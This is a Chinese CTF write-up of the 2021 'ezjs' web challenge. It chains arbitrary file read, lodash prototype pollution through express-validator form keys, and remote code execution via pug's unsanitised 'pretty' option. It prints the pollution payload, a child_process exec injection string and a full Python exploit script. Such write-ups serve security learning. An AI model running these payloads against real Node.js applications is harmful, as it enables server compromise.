巅峰极客2021 web部分
# ezjs
随便登录进去,发现有任意文件读取。
# 任意文件读取
发现是express项目,先把package.json
搞出来,然后根据内容./bin/www.js
搞出来
剩下的看着提出来。
# lodash的原型链污染
发现项目使用了express-validator
和 lodash<4.7.17
,有原型链污染攻击,
并且在./routes/index.js
(/admin)中发现了如下代码,目标比较明确,
需要把isadmin
污染成不等于notadmin
以及debug
污染成随便一个玩意,同时要提交一个参数p,使用pug的rce漏洞。
var validator = [
body('*').trim(),
body('username').if(body('username').exists()).isLength({min: 5})
.withMessage("username is too short"),
body('password').if(body('password').exists()).isLength({min: 5})
.withMessage("password is too short"),(req, res, next) => {
const errors = validationResult(req)
if (!errors.isEmpty()) {
return res.status(400).render('msg', {title: 'error', msg: errors.array()[0].msg});
}
next()
}
];
1
2
3
4
5
6
7
8
9
10
11
12
13
2
3
4
5
6
7
8
9
10
11
12
13
关于lodash的原型链污染已经是老生常谈的事情了,在XNUCA中就出现过,
参考
XNUCA2020Qualifier (opens new window)
paper.seebug.org (opens new window)
有了body('*').trim()
,使用express-validator
做参数过滤,可以污染。
但是有一点不太一样,本题没有用json,所以还是不太一样的。
但是可以使用该处的污染为空值,就绕过了。
payload
{
"username":'ruaruaruaruaruarua',
"password":'ruaruaruaruaruarua',
'"].__proto__["isadmin': 'rua',
'"].__proto__["debug': 'rua',
}
1
2
3
4
5
6
2
3
4
5
6
# PUG的pretty未经处理导致RCE
跟进pretty
,在 pug-code-gen
中发现。
继续跟进,在 visitMixinBlock
中发现没有经过任何处理直接拼接字符串。
同样,在 visitMixin
中也有
可以进行一个使用引号拼接字符串,
');return global.process.mainModule.constructor._load('child_process').exec('cat /root/flag.txt');_=('
1
到此RCE结束。
最后的最后,附上我的payload:
import requests
url = "http://localhost:8888"
session.post(url+'/login',data={
"username":'ruaruaruaruaruarua',
"password":'ruaruaruaruaruarua',
'"].__proto__["isadmin': 'rua',
'"].__proto__["debug': 'rua',
})
r = session.get(url+'/admin',params={
"p":"');return process.mainModule.constructor._load('child_process').execSync('tac /root/flag.txt');_=('"
})
print(r.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
2
3
4
5
6
7
8
9
10
11
12
13
14
# 总结
比较可惜吧,原型链污染到了但是由于没有发现pug的这个rce洞导致这题没做出来。
实际上真挺蠢的,当时读文件的时候直接读了package.json
,pug的版本不对,审计了半天源码发现毛漏洞都没有
长记性了,下次直接package-lock.json
上次更新: 2021/08/02, 11:26:39